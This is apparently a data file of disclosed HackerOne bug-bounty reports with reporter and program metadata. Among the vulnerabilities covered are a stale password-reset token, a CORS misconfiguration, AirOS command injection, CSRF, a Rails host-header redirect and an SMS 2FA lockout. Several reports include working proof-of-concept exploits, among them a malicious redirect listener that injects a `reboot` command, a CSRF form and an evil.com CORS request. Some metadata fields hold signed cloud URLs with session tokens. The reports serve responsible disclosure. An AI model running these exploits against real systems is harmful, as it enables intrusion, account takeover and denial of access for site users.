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id
int64 | title
string | created_at
string | substate
string | vulnerability_information
string | reporter
dict | team
dict | has_bounty?
bool | visibility
string | disclosed_at
string | weakness
dict | original_report_id
int64 | vote_count
int64 | structured_scope
dict |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
411,337 | Forget password link not expiring after email change. | 2018-09-19T05:13:33.396Z | resolved | I found a token miss configuration flaw in chaturbate.com, When we reset password for a user a link is sent to the registered email address but incase it remain unused and email is updated by user from setting panel then too that old token [reset link] sent at old email address remains valid.
#A better explanation
1- User use reset feature to get reset link [Email : etc@x.com]
2- User came to know about his old password so remain the link unused and the token not expires
3- Now User changes his email from control panel [New email : etc11@z.com]
4- But the old reset still remains valid after email change
In-case an attacker able to get access to user's old email account he can hack his chaturbate account too via that link, so expiring the token at email change will be a better practice
## Impact
The attacker can still change the password if victim thinks his/her account is compromised and decided to chnage his email | {
"cleared": true,
"disabled": false,
"hacker_mediation": false,
"hackerone_triager": false,
"is_me?": false,
"profile_picture_urls": {
"small": "https://profile-photos.hackerone-user-content.com/variants/S6z7ivTTH8w7QA8J3RbpWRiM/9a55e00ecd2cdf18a7f40678e6836e4cdc90bf95eb4b50c43f5fb775da40bb65"
},
"url": "/imran_nisar",
"username": "imran_nisar",
"verified": true
} | {
"awards_miles": false,
"default_currency": "usd",
"handle": "chaturbate",
"id": 30475,
"offers_bounties": true,
"only_cleared_hackers": false,
"pentest_feature_enabled?": false,
"pentest_retesting_ends_at": null,
"permissions": [],
"profile": {
"about": "The largest online adult cam site",
"name": "Chaturbate",
"twitter_handle": "chaturbate",
"website": "https://chaturbate.com"
},
"profile_picture_urls": {
"medium": "https://profile-photos.hackerone-user-content.com/variants/000/030/475/178c32f60a890eb06ce5d698d44b3eafa35ccf8c_original.png/5136ed9b2fa7c4d4abbf39fb971047c62d98ec4740a88eb55d7e26373250a937",
"small": "https://profile-photos.hackerone-user-content.com/variants/000/030/475/178c32f60a890eb06ce5d698d44b3eafa35ccf8c_original.png/d3dc6b2d7e2dc3657e8861b0d7e2dfca1a6d513dd784c613f4e56738907cea98"
},
"state": "public_mode",
"submission_state": "open",
"url": "https://hackerone.com/chaturbate"
} | true | full | 2018-09-20T06:42:43.088Z | {
"id": 124,
"name": "Improper Authorization"
} | null | 35 | {
"asset_identifier": "chaturbate.com",
"asset_type": "URL",
"databaseId": 11722,
"max_severity": "critical"
} |
311,805 | Cross-origin resource sharing misconfig | 2018-02-02T21:19:34.071Z | duplicate | Description
An HTML5 cross-origin resource sharing (CORS) policy controls whether and how content running on other domains can perform two-way interaction with the domain that publishes the policy. The policy is fine-grained and can apply access controls per-request based on the URL and other features of the request.
Trusting arbitrary origins effectively disables the same-origin policy, allowing two-way interaction by third-party web sites. Unless the response consists only of unprotected public content, this policy is likely to present a security risk.
If the site specifies the header Access-Control-Allow-Credentials: true, third-party sites may be able to carry out privileged actions and retrieve sensitive information. Even if it does not, attackers may be able to bypass any IP-based access controls by proxying through users' browsers.
POC1
Request
GET /socket.io/?EIO=3&transport=polling&t=M5Ni0Fs HTTP/1.1
Host: mentions.semrush.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:58.0) Gecko/20100101 Firefox/58.0
Accept: */*
Accept-Language: ru,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: https://www.semrush.com/projects/?1517589649
Origin: https://evil.com
Cookie: io=IAU18qXkXe-If7YJKWLc; ref_code=__default__; usertype=Free-User; marketing=%7B%22user_cmp%22%3A%22%22%2C%22user_label%22%3A%22%22%7D; localization=%7B%22locale%22%3A%22en%22%7D; db=us; _ga=GA1.2.825109836.1509826800; userdata=%7B%22tz%22%3A%22GMT+5%22%2C%22ol%22%3A%22ru%22%7D; wp13557=UWYYADDDDDDHHKYHHMV-LYXV-XVCW-CMYX-CIXBZKAZVAUVDXVZLAJAB-BCHK-XJKX-CJVC-HVBXKVBTXYTCDlLtkNlo_Jht; visit_first=1509826800000; referer_purchase=https%3A%2F%2Fmentions.semrush.com%2Fen%2F; __insp_uid=1996669760; exp__cid=0ef68d9d-5e88-4ef5-bb86-b4f5a34fe13b; referer_url=http%3A%2F%2Fburp%2F; referer_register=https%3A%2F%2Fmentions.semrush.com%2Fen%2F; __cfduid=d432a9bbe54424efa84dbb3f77c11c1d11515707368; _gid=GA1.2.22716635.1517579789; _bizo_bzid=f15471c2-3666-49b8-8404-4ca3b049bb62; _bizo_cksm=1F4E1C8613F59F3C; _bizo_np_stats=155%3D3579%2C; ██████; n_userid=LuWkz1p0bgI3nWHoBFUPAg==; _gat=1; _uetsid=_uet49e7f290; __insp_wid=1632961932; __insp_slim=1517594581797; __insp_nv=false; __insp_targlpu=aHR0cHM6Ly93d3cuc2VtcnVzaC5jb20vcHJvamVjdHMvPzE1MTc1ODk2NDkj; __insp_targlpt=U0VNcnVzaA%3D%3D; __insp_norec_sess=true
DNT: 1
Connection: close
Response:
HTTP/1.1 200 OK
Server: nginx
Date: Fri, 02 Feb 2018 19:25:11 GMT
Content-Type: application/octet-stream
Content-Length: 101
Connection: close
Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: https://evil.com
Set-Cookie: io=iSEF-IpwSxryLwaTKW_-
"██████","upgrades":["websocket"],"pingInterval":25000,"pingTimeout":60000
## Impact
Take note from request I inject a header Origin: https://evil.com then from response it returns Access-Control-Allow-Origin: https://evil.com, Which mean there is CORS misconfig here. | {
"cleared": false,
"disabled": false,
"hacker_mediation": false,
"hackerone_triager": false,
"is_me?": false,
"profile_picture_urls": {
"small": "https://profile-photos.hackerone-user-content.com/variants/000/117/520/2ca445c24a43aa38ee4d5937857f7dcbfc4da97b_original.jpg/3c7b305354c9073c106ae3d1701798defaaf5be844fb8fdfa49ca62f991a2c2c"
},
"url": "/asad_anwar",
"username": "asad_anwar",
"verified": false
} | {
"awards_miles": false,
"default_currency": "usd",
"handle": "semrush",
"id": 15966,
"offers_bounties": true,
"only_cleared_hackers": false,
"pentest_feature_enabled?": false,
"pentest_retesting_ends_at": null,
"permissions": [],
"profile": {
"about": "Online Visibility Management Platform.",
"name": "Semrush",
"twitter_handle": "",
"website": "https://www.semrush.com/"
},
"profile_picture_urls": {
"medium": "https://hackerone-us-west-2-production-attachments.s3.us-west-2.amazonaws.com/variants/z5zlmceddsqb6x026x37tp0ych7i/5136ed9b2fa7c4d4abbf39fb971047c62d98ec4740a88eb55d7e26373250a937?response-content-disposition=inline%3B%20filename%3D%22Avatars.png%22%3B%20filename%2A%3DUTF-8%27%27Avatars.png&response-content-type=image%2Fpng&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=ASIAQGK6FURQWE4UK6LX%2F20240516%2Fus-west-2%2Fs3%2Faws4_request&X-Amz-Date=20240516T174714Z&X-Amz-Expires=3600&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEFYaCXVzLXdlc3QtMiJGMEQCIFxAE%2F%2BluNBZxdMDu59jhrxleIr3DDPUzoZkY688vMe8AiB98xQ8AifRHvYw6uLTKq1Pq%2Fr1e2nrxpmEtvv709RRNCq7BQi%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F8BEAMaDDAxMzYxOTI3NDg0OSIMbvarf%2Be3glTu0EYeKo8Fbb5EDPEHrAsONZ4MSFH3L2YEa99OTe2VwCo%2BeO%2FuWlRo4DPTeBCYN6dQhripveYjfPxWwd6I9qLTZd%2BPNQr%2FJK0rCSdv2eEkGgy2JwfZR56Nlaz4GaiDHg6RoSiiHxhiN%2F2Ksyoe8T0CJAW8aQ%2FXFUF%2BnOlIqdvgRe%2B%2BwyXsnJ%2FoZ48K9a5MOEQ%2BtbP%2B8ext9qWqr4vR2K%2B2ie9%2F1zoGWEyxkPIWr%2BUTn5mvpMuAoJ0X4RmfT2gH4icLNktoVTmoptADDINC3Jhx6aUHrpN2UA3dTcg4809jiucEXYJlfE%2F%2BqbmOA%2Fmk6WoDkz61ZkUF42ABNI0iH85ZvMiTmH6APdMaAdQNyrTmheG0PBfm4NNCCu21zZ93XEXjYWP%2FCOFhcst7s%2FqOqyKRbYgZeWZhUAF5XarJOUlhih6mKspcic7py48uhn3Gj9LCGyBBf7s1N59u4TQ9pQiRg5kf4OD6e1MIXjUVUxXIMyEGgIsEwv%2B4udJpVC4P4AhlnCT1atTmUSf%2Fc9NGzmzQi0D%2Fki5KC92dHNUDPzbBLSOyTYputZ%2FPYqbEM0gbM2V4ncQYbj9HsmRRLW7olidE345dfc8PWJv29Oo6VW7aCK5DQH0BU6VUgFh5yXWblEfz4Vmyg7aWMzCtxLpFo5oY6iRpdT%2BqvhnJTOi%2FdX319RyR40ll84HmpfKW%2B3X77uby4lpW62GHS%2B8G6vOCdL2JkW9SiYTa8NxFeZI4K1cpWuT0EK58T7s8j1OiJyF8vMKErv1ymgDMEZ2OUH%2BiaV2pFt3gKHHEfJda3lAL5MdK0IINg%2FsW6jK%2BauX2%2BKpd%2Bje1LcRfdnD%2BRlm04Kc9LAj58XjAjCNIFMSLybIMrlt%2FgL9sKmG7JzD4kZiyBjqyAWC%2BTYRo10jUMOFbTUmOUJbI0NPt%2FbDY3Q29ECWmbE7vHjUNi9TqadNDSQ%2Bdm4%2FGAiuHgIbiNFtkviCRzhBsLzJ8urUeDLe1HljtsL6CtiF7cghB5TcsDJHDuKhNsOo3Jdu7hcqIW%2FNDPfOWk8bsvLvRD9K6JsxALUt2dBgA0VTQxTOv722wWwFncJbgei30RGQWkqyfXF3RI%2FegvoHuvA3gdcL3uz0sXzRq4EnB2u5MIIE%3D&X-Amz-SignedHeaders=host&X-Amz-Signature=5aea413535d666a24bff87810fd61b0b0a4de54210d1ab11c0a3b8aece54b44b",
"small": "https://hackerone-us-west-2-production-attachments.s3.us-west-2.amazonaws.com/variants/z5zlmceddsqb6x026x37tp0ych7i/d3dc6b2d7e2dc3657e8861b0d7e2dfca1a6d513dd784c613f4e56738907cea98?response-content-disposition=inline%3B%20filename%3D%22Avatars.png%22%3B%20filename%2A%3DUTF-8%27%27Avatars.png&response-content-type=image%2Fpng&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=ASIAQGK6FURQWE4UK6LX%2F20240516%2Fus-west-2%2Fs3%2Faws4_request&X-Amz-Date=20240516T174714Z&X-Amz-Expires=3600&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEFYaCXVzLXdlc3QtMiJGMEQCIFxAE%2F%2BluNBZxdMDu59jhrxleIr3DDPUzoZkY688vMe8AiB98xQ8AifRHvYw6uLTKq1Pq%2Fr1e2nrxpmEtvv709RRNCq7BQi%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F8BEAMaDDAxMzYxOTI3NDg0OSIMbvarf%2Be3glTu0EYeKo8Fbb5EDPEHrAsONZ4MSFH3L2YEa99OTe2VwCo%2BeO%2FuWlRo4DPTeBCYN6dQhripveYjfPxWwd6I9qLTZd%2BPNQr%2FJK0rCSdv2eEkGgy2JwfZR56Nlaz4GaiDHg6RoSiiHxhiN%2F2Ksyoe8T0CJAW8aQ%2FXFUF%2BnOlIqdvgRe%2B%2BwyXsnJ%2FoZ48K9a5MOEQ%2BtbP%2B8ext9qWqr4vR2K%2B2ie9%2F1zoGWEyxkPIWr%2BUTn5mvpMuAoJ0X4RmfT2gH4icLNktoVTmoptADDINC3Jhx6aUHrpN2UA3dTcg4809jiucEXYJlfE%2F%2BqbmOA%2Fmk6WoDkz61ZkUF42ABNI0iH85ZvMiTmH6APdMaAdQNyrTmheG0PBfm4NNCCu21zZ93XEXjYWP%2FCOFhcst7s%2FqOqyKRbYgZeWZhUAF5XarJOUlhih6mKspcic7py48uhn3Gj9LCGyBBf7s1N59u4TQ9pQiRg5kf4OD6e1MIXjUVUxXIMyEGgIsEwv%2B4udJpVC4P4AhlnCT1atTmUSf%2Fc9NGzmzQi0D%2Fki5KC92dHNUDPzbBLSOyTYputZ%2FPYqbEM0gbM2V4ncQYbj9HsmRRLW7olidE345dfc8PWJv29Oo6VW7aCK5DQH0BU6VUgFh5yXWblEfz4Vmyg7aWMzCtxLpFo5oY6iRpdT%2BqvhnJTOi%2FdX319RyR40ll84HmpfKW%2B3X77uby4lpW62GHS%2B8G6vOCdL2JkW9SiYTa8NxFeZI4K1cpWuT0EK58T7s8j1OiJyF8vMKErv1ymgDMEZ2OUH%2BiaV2pFt3gKHHEfJda3lAL5MdK0IINg%2FsW6jK%2BauX2%2BKpd%2Bje1LcRfdnD%2BRlm04Kc9LAj58XjAjCNIFMSLybIMrlt%2FgL9sKmG7JzD4kZiyBjqyAWC%2BTYRo10jUMOFbTUmOUJbI0NPt%2FbDY3Q29ECWmbE7vHjUNi9TqadNDSQ%2Bdm4%2FGAiuHgIbiNFtkviCRzhBsLzJ8urUeDLe1HljtsL6CtiF7cghB5TcsDJHDuKhNsOo3Jdu7hcqIW%2FNDPfOWk8bsvLvRD9K6JsxALUt2dBgA0VTQxTOv722wWwFncJbgei30RGQWkqyfXF3RI%2FegvoHuvA3gdcL3uz0sXzRq4EnB2u5MIIE%3D&X-Amz-SignedHeaders=host&X-Amz-Signature=46e084288ad411d2ad675013e4f7a5b88768db4894ca00c68f509b8ce781af9e"
},
"state": "public_mode",
"submission_state": "open",
"url": "https://hackerone.com/semrush"
} | false | full | 2018-03-13T14:23:52.379Z | {
"id": 27,
"name": "Improper Authentication - Generic"
} | 193,559 | 3 | null |
385,322 | Open API For Username enumeration | 2018-07-23T07:32:50.020Z | not-applicable | We Can do username enumeration,
Reproduce:
1. Go any wordpress site.
#2.www.site.com/?author=1 (type ?author=1 at end of site)
3. You will get www.site.com/author/admin (now, admin is username of login panel of that site)
Thanks,
Sameer Phad
## Impact
- | {
"cleared": true,
"disabled": false,
"hacker_mediation": false,
"hackerone_triager": false,
"is_me?": false,
"profile_picture_urls": {
"small": "https://profile-photos.hackerone-user-content.com/variants/vwlss7nfxhq42yveh4jh6876myka/3c7b305354c9073c106ae3d1701798defaaf5be844fb8fdfa49ca62f991a2c2c"
},
"url": "/sameerphad72",
"username": "sameerphad72",
"verified": true
} | {
"awards_miles": false,
"default_currency": "usd",
"handle": "wordpress",
"id": 55,
"offers_bounties": true,
"only_cleared_hackers": false,
"pentest_feature_enabled?": false,
"pentest_retesting_ends_at": null,
"permissions": [],
"profile": {
"about": "Beautiful sites of any kind.",
"name": "WordPress",
"twitter_handle": "wordpress",
"website": "https://wordpress.org/"
},
"profile_picture_urls": {
"medium": "https://profile-photos.hackerone-user-content.com/variants/000/000/055/f114d1d31f904e3b903cd99a6cf566bb531f8401_original.jpg/f4a495c04fdb224bac8ec64587537e511aa8c4925e7955bee0a19e0ed7d891dc",
"small": "https://profile-photos.hackerone-user-content.com/variants/000/000/055/f114d1d31f904e3b903cd99a6cf566bb531f8401_original.jpg/3c7b305354c9073c106ae3d1701798defaaf5be844fb8fdfa49ca62f991a2c2c"
},
"state": "public_mode",
"submission_state": "open",
"url": "https://hackerone.com/wordpress"
} | false | full | 2018-07-23T14:33:47.328Z | null | null | 24 | null |
139,398 | Read-Only user can execute arbitraty shell commands on AirOS | 2016-05-17T17:47:16.026Z | resolved | This vulnerability is very similar to #128750, but it avoid the solution applied to the last beta XM firmware.
In this report is used the last beta XM firmware: `XM.v6.0-beta9`
# Vulnerability
The vulnerability resides in the function `fetchCookies` file `remote.inc:117`. Just like last time is a non sanitization or verification of the server (remote) response.
```
if ($res == -11) { #received the redirect
# got redirect, will have to try new one (if that's login.cgi)
$lcount = count($lines);
if ($lcount > 0) {
$new_url = $lines[$lcount - 1]; # the URL returned by the attacker have shell code injected
}
$rg_login = "(https?://$ip(:[[:digit:]]+)?)/login.cgi"; #regex don't property verify the URL, it allow string before and after the URL
if (IsSet($new_url) && ereg($rg_login, $new_url, $regs)) {
$retry = 1;
$base_url = $regs[1];
$url = $new_url; # URL with shell code is utilized
}
}
#[[REMOVED CODE]]
if ($retry != 0) {
$full_cmd = "$cmd_trigger -p $url"; # URL with shell code is injected
exec($full_cmd, $lines, $res); # shell code executed
$res = getRetVal($res);
}
}
```
# Proof-of-concept
First we (attacker) need to initialize a local server to make the redirect to the victim, in this example the attacker ip is `192.168.1.100`:
```
echo -en "HTTP/1.1 302 Found\r\nLocation: https://192.168.1.100/login.cgi `reboot`\r\nContent-Length: 0\r\n\r\n" | ncat -lp 8080
```
So you need to run a speed test against the attacker host, with can be done using the Web interface `https://192.168.1.20/sptest.cgi`, or by the following command (making the required adjusts):
```
curl 'https://192.168.1.20/sptest_action.cgi?ticket=507&action=remote&target=192.168.1.100&port=8080&login=ignore&passwd=ignore&airosid=96ba18a3aa55ba4c6e1f8ab111a9fb8f&_=1463505340471' -H 'Cookie: AIROS_001122334455=96ba18a3aa55ba4c6e1f8ab111a9fb8f; ui_language=en_US; last_check=1463504970136'
```
# Possible Solution
This bug can be solved using literally 2 character, the REGEX end `$` and begin `^`:
```
$rg_login = "^(https?://$ip(:[[:digit:]]+)?)/login.cgi$";
``` | {
"cleared": false,
"disabled": false,
"hacker_mediation": false,
"hackerone_triager": false,
"is_me?": false,
"profile_picture_urls": {
"small": "https://profile-photos.hackerone-user-content.com/variants/000/033/613/8c3e2d95cf9be1554d0d1e8de292b45c73325047_original.png/d3dc6b2d7e2dc3657e8861b0d7e2dfca1a6d513dd784c613f4e56738907cea98"
},
"url": "/rbran",
"username": "rbran",
"verified": false
} | {
"awards_miles": false,
"default_currency": "usd",
"handle": "ui",
"id": 800,
"offers_bounties": true,
"only_cleared_hackers": false,
"pentest_feature_enabled?": false,
"pentest_retesting_ends_at": null,
"permissions": [],
"profile": {
"about": "",
"name": "Ubiquiti Inc.",
"twitter_handle": "ubiquiti",
"website": "https://ui.com"
},
"profile_picture_urls": {
"medium": "https://profile-photos.hackerone-user-content.com/variants/fpqjzgms7de9639u414bw6vid1be/5136ed9b2fa7c4d4abbf39fb971047c62d98ec4740a88eb55d7e26373250a937",
"small": "https://profile-photos.hackerone-user-content.com/variants/fpqjzgms7de9639u414bw6vid1be/d3dc6b2d7e2dc3657e8861b0d7e2dfca1a6d513dd784c613f4e56738907cea98"
},
"state": "public_mode",
"submission_state": "open",
"url": "https://hackerone.com/ui"
} | true | full | 2016-08-05T09:36:57.491Z | {
"id": 58,
"name": "Command Injection - Generic"
} | null | 43 | null |
950,201 | HTML Injection at "city-mobil.ru" | 2020-08-03T13:31:55.282Z | resolved | {
"cleared": false,
"disabled": false,
"hacker_mediation": false,
"hackerone_triager": false,
"is_me?": false,
"profile_picture_urls": {
"small": "https://profile-photos.hackerone-user-content.com/variants/CE24zD8tdJUYD6adpRS69L74/cccd3716a6d2e06174d2a41492445cb1d4bf85b4611a755bc810b9246a24d951"
},
"url": "/javakhishvili",
"username": "javakhishvili",
"verified": false
} | {
"awards_miles": false,
"default_currency": "usd",
"handle": "mailru",
"id": 65,
"offers_bounties": false,
"only_cleared_hackers": false,
"pentest_feature_enabled?": false,
"pentest_retesting_ends_at": null,
"permissions": [],
"profile": {
"about": "Building the Internet since 1998",
"name": "Mail.ru",
"twitter_handle": "",
"website": "https://vk.company/"
},
"profile_picture_urls": {
"medium": "https://profile-photos.hackerone-user-content.com/variants/000/000/065/1ec04a6b87b02422d913b5c53d5247de91d64718_original.png/5136ed9b2fa7c4d4abbf39fb971047c62d98ec4740a88eb55d7e26373250a937",
"small": "https://profile-photos.hackerone-user-content.com/variants/000/000/065/1ec04a6b87b02422d913b5c53d5247de91d64718_original.png/d3dc6b2d7e2dc3657e8861b0d7e2dfca1a6d513dd784c613f4e56738907cea98"
},
"state": "public_mode",
"submission_state": "disabled",
"url": "https://hackerone.com/mailru"
} | false | no-content | 2020-12-15T16:14:10.375Z | {
"id": 61,
"name": "Cross-site Scripting (XSS) - Reflected"
} | null | 11 | {
"asset_identifier": "Citymobil",
"asset_type": "OTHER",
"databaseId": 40415,
"max_severity": "critical"
} |
|
488,371 | Insecure Storage and Overly Permissive Google Maps API Key in Android App | 2019-01-30T07:12:30.259Z | resolved | {
"cleared": true,
"disabled": false,
"hacker_mediation": false,
"hackerone_triager": false,
"is_me?": false,
"profile_picture_urls": {
"small": "https://profile-photos.hackerone-user-content.com/variants/000/481/462/6495338f139b675efd88bbc4412fc76613b6df30_original.jpg/3c7b305354c9073c106ae3d1701798defaaf5be844fb8fdfa49ca62f991a2c2c"
},
"url": "/bitsscrambler",
"username": "bitsscrambler",
"verified": true
} | {
"awards_miles": false,
"default_currency": "usd",
"handle": "mailru",
"id": 65,
"offers_bounties": false,
"only_cleared_hackers": false,
"pentest_feature_enabled?": false,
"pentest_retesting_ends_at": null,
"permissions": [],
"profile": {
"about": "Building the Internet since 1998",
"name": "Mail.ru",
"twitter_handle": "",
"website": "https://vk.company/"
},
"profile_picture_urls": {
"medium": "https://profile-photos.hackerone-user-content.com/variants/000/000/065/1ec04a6b87b02422d913b5c53d5247de91d64718_original.png/5136ed9b2fa7c4d4abbf39fb971047c62d98ec4740a88eb55d7e26373250a937",
"small": "https://profile-photos.hackerone-user-content.com/variants/000/000/065/1ec04a6b87b02422d913b5c53d5247de91d64718_original.png/d3dc6b2d7e2dc3657e8861b0d7e2dfca1a6d513dd784c613f4e56738907cea98"
},
"state": "public_mode",
"submission_state": "disabled",
"url": "https://hackerone.com/mailru"
} | true | no-content | 2019-09-01T12:49:10.910Z | {
"id": 101,
"name": "Insecure Storage of Sensitive Information"
} | null | 10 | {
"asset_identifier": "ru.mail.cloud",
"asset_type": "GOOGLE_PLAY_APP_ID",
"databaseId": 240,
"max_severity": "critical"
} |
|
272,588 | CSRF in Raffles Ticket Purchasing | 2017-09-28T04:08:10.330Z | resolved | Description:
========
An API endpoint get executed with no CSRF prevention, the endpoint did not verify session_id required in the post form. An attacker can crafted malicious form (Poc), which is executed by authenticated user action leading to huge balance lost.
Poc:
===
<!doctype html>
<html>
<head>
</head>
<body>
<form action="https://unikrn.com/apiv2/raffle/enter" method="POST" name="myForm">
<input type="hidden" name="raffle" id="raffle" value="4775">
<input type="hidden" name="tickets" id="tickets" value="1">
<input type="hidden" name="session_id" id="session_id" value="">
<input value="Submit" type="submit"">
</form>
</body>
</html>
Recommendations:
=============
- Implementing CSRF tokens.
- Validate session_id on post form/JSON api input. | {
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"is_me?": false,
"profile_picture_urls": {
"small": "https://profile-photos.hackerone-user-content.com/variants/000/137/533/339f440fdc61b6dfeb663c8216d249618b8fd451_original.gif/9a55e00ecd2cdf18a7f40678e6836e4cdc90bf95eb4b50c43f5fb775da40bb65"
},
"url": "/tolo7010",
"username": "tolo7010",
"verified": true
} | {
"awards_miles": false,
"default_currency": "usd",
"handle": "unikrn",
"id": 2672,
"offers_bounties": true,
"only_cleared_hackers": false,
"pentest_feature_enabled?": false,
"pentest_retesting_ends_at": null,
"permissions": [],
"profile": {
"about": "unikrn offers a world class comprehensive esports betting platform",
"name": "Unikrn",
"twitter_handle": "unikrnco",
"website": "https://unikrn.com"
},
"profile_picture_urls": {
"medium": "https://profile-photos.hackerone-user-content.com/variants/000/002/672/c6c2b32746235b372285a9047457642b7b9bc6a1_original.png/5136ed9b2fa7c4d4abbf39fb971047c62d98ec4740a88eb55d7e26373250a937",
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},
"state": "public_mode",
"submission_state": "paused",
"url": "https://hackerone.com/unikrn"
} | true | full | 2018-04-10T02:10:08.175Z | {
"id": 45,
"name": "Cross-Site Request Forgery (CSRF)"
} | null | 19 | {
"asset_identifier": "unikrn.com",
"asset_type": "URL",
"databaseId": 453,
"max_severity": "critical"
} |
1,047,447 | HostAuthorization middleware does not suitably sanitize the Host / X-Forwarded-For header allowing redirection. | 2020-11-30T23:25:50.430Z | resolved | When a site is configured to use the `.tkte.ch` (leading dot) short form for domain name, ex:
```ruby
config.hosts << '.tkte.ch'
```
it is then sanitized in sanitize_string, where it is turned into a regex:
```ruby
def sanitize_string(host)
if host.start_with?(".")
/\A(.+\.)?#{Regexp.escape(host[1..-1])}\z/
else
host
end
end
```
The regex it is wrapped in is too permissive. It allows for things like:
```
❯ curl -i -H "Host: google.com#sub.tkte.ch" http://localhost:3001/
HTTP/1.1 302 Found
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Download-Options: noopen
X-Permitted-Cross-Domain-Policies: none
Referrer-Policy: strict-origin-when-cross-origin
Location: http://google.com#sub.tkte.ch/
Content-Type: text/html; charset=utf-8
Cache-Control: no-cache
X-Request-Id: 3b1702ac-a58f-44bf-af8a-a2933a9946fd
X-Runtime: 0.004726
Transfer-Encoding: chunked
<html><body>You are being <a href="http://google.com#sub.tkte.ch/">redirected</a>.</body></html>
```
Where the controller is simply:
```ruby
class RedirectController < ApplicationController
def main
redirect_to action: 'main'
end
end
````
The host header poisoning was reported to us by a 3rd party researcher, and tracking it down led to this.
## Impact
A user can be redirected to a hostile site. | {
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},
"url": "/tktech",
"username": "tktech",
"verified": false
} | {
"awards_miles": false,
"default_currency": "usd",
"handle": "rails",
"id": 22,
"offers_bounties": true,
"only_cleared_hackers": false,
"pentest_feature_enabled?": false,
"pentest_retesting_ends_at": null,
"permissions": [],
"profile": {
"about": "Web development that doesn't hurt.",
"name": "Ruby on Rails",
"twitter_handle": "rails",
"website": "http://rubyonrails.org/security"
},
"profile_picture_urls": {
"medium": "https://profile-photos.hackerone-user-content.com/variants/000/000/022/5e2b46658c8b86bed62f574d8e1793f353cbbc63_original.png/5136ed9b2fa7c4d4abbf39fb971047c62d98ec4740a88eb55d7e26373250a937",
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},
"state": "public_mode",
"submission_state": "open",
"url": "https://hackerone.com/rails"
} | true | full | 2021-02-11T01:39:07.028Z | {
"id": 53,
"name": "Open Redirect"
} | null | 7 | {
"asset_identifier": "https://github.com/rails/rails",
"asset_type": "SOURCE_CODE",
"databaseId": 160,
"max_severity": "critical"
} |
1,406,495 | Ability to Disable the Login Attempt of any Shopify Owner for 24 hrs (Zero_Click) | 2021-11-21T14:12:27.876Z | resolved | Hello Team,
I Found a Bug in which Hacker Have Ability to Disable the Login Attempt of any Shopify Owner With (Zero_Click)
Summary:
----------
Proof of Concept;
-------------------
Credentials:
-------------
Victim = ███████.com (████████)
Hacker = █████████.com
Victim Sceanrio:
-----------------
Step 1 : Victim Login to his Account (████.com)
Step 2 : For Better Security of his Account ---------> Victim Activate the 2 Factor Authentcation ( Via Mobile Phone Number)
Step 3 : 2 FA Activated Successfully -----------> Victim Logout
Attacker Scanario: (Incognito Tab)
------------------
Step 1 : Hacker Make a New Account in shopify (███████.com)
Step 2 : Hacker Go to Manage Account -------> Choose to Activate 2 FA
Step 3 : Hacker Enter his Mobile Number (█████████) --------> Capture the Request in Burpsuite
Step 4 : Hacker Change the Mobile Number (████) to (███████) --------> Forward the Request
Step 5 : Hacker Logout -------> Login again
Step 6 : Now Hacker Tap Multiple times in "RESEND CODE " --------> untill Server Reflect Stop
████████
Step 7 : Now Hacker Stop Finally
Victim Sceanrio: (Again)
------------------------
Step 1 : Victim Want to Login to his Shopify Account
Step 2 : Victim Enter Email and Password --------> Server Redirect to 2 FA page
Step 3 : Here Victim See So many OTP Code But Recent Code Still Not Arrive --------> Victim Click Resend But Server Block the Attempt
As a Result Victim not Allowed to Login to his Account
Zero_Click Vulnerbaility that Will Impact many Shopify Users Who Use Mobile Number as a method of 2 FA Verification
POC Video:
-----------
████
Please Let me Know if You have any doubt
Thank You
Regards~
saurabhsankhwar3
## Impact
1. In Real World Attacker Perform a BruteForce Attack on 2 FA page (infinite Time) --------> So that Server Not able to send correct OTP to Real Victim
2. There is Improper Security While Setting 2 FA via Mobile Phone
3. Hacker try to Disable Login Attempt of any Shopify owner just By Knowing Which Mobile Number He/She used For Enabling 2 FA in his Account
4 . Violation of Security Design Priciple | {
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},
"url": "/saurabhsankhwar3",
"username": "saurabhsankhwar3",
"verified": false
} | {
"awards_miles": false,
"default_currency": "usd",
"handle": "shopify",
"id": 1382,
"offers_bounties": true,
"only_cleared_hackers": false,
"pentest_feature_enabled?": false,
"pentest_retesting_ends_at": null,
"permissions": [],
"profile": {
"about": "Shopify is a multi-channel commerce platform that helps people sell online, in-store, and everywhere in between.",
"name": "Shopify",
"twitter_handle": "",
"website": "https://www.shopify.com"
},
"profile_picture_urls": {
"medium": "https://profile-photos.hackerone-user-content.com/variants/fjjiC5585s8WoDGHv2M5okbJ/f4a495c04fdb224bac8ec64587537e511aa8c4925e7955bee0a19e0ed7d891dc",
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},
"state": "public_mode",
"submission_state": "open",
"url": "https://hackerone.com/shopify"
} | true | full | 2022-02-15T06:20:35.527Z | {
"id": 102,
"name": "Client-Side Enforcement of Server-Side Security"
} | null | 57 | {
"asset_identifier": "accounts.shopify.com",
"asset_type": "URL",
"databaseId": 423,
"max_severity": "critical"
} |
1,927,480 | DiffieHellman doesn't generate keys after setting a key | 2023-03-31T13:33:05.838Z | resolved | DiffieHellman doesn't generate keys after setting a key
## Steps To Reproduce:
1. Instantiate: `const dh = crypto.createDiffieHellman(1024);`
2. Set private key:
```
//set private key to 2
dh.setPrivateKey(Buffer.from("02", 'hex'));
//outputs 02 (as expected)
console.log(dh.getPrivateKey().toString('hex'));
```
3. Generate random private key:
```
//generate random private key
dh.generateKeys();
//outputs 02: zero day.
console.log(dh.getPrivateKey().toString('hex'));
```
## Underlying issue:
OpenSSL (https://github.com/majek/openssl/blob/master/crypto/dh/dh_key.c) doesn't generate keys when they're already instantiated:
```
if (dh->priv_key == NULL)
{
priv_key=BN_new();
if (priv_key == NULL) goto err;
generate_new_key=1;
}
else
priv_key=dh->priv_key;
if (dh->pub_key == NULL)
{
pub_key=BN_new();
if (pub_key == NULL) goto err;
}
else
pub_key=dh->pub_key;
```
node:crypto should use OpenSSL correctly. Method `generateKeys()` should re-instantiate OpenSSL before requesting a key, thereby avoiding the above.
## Impact
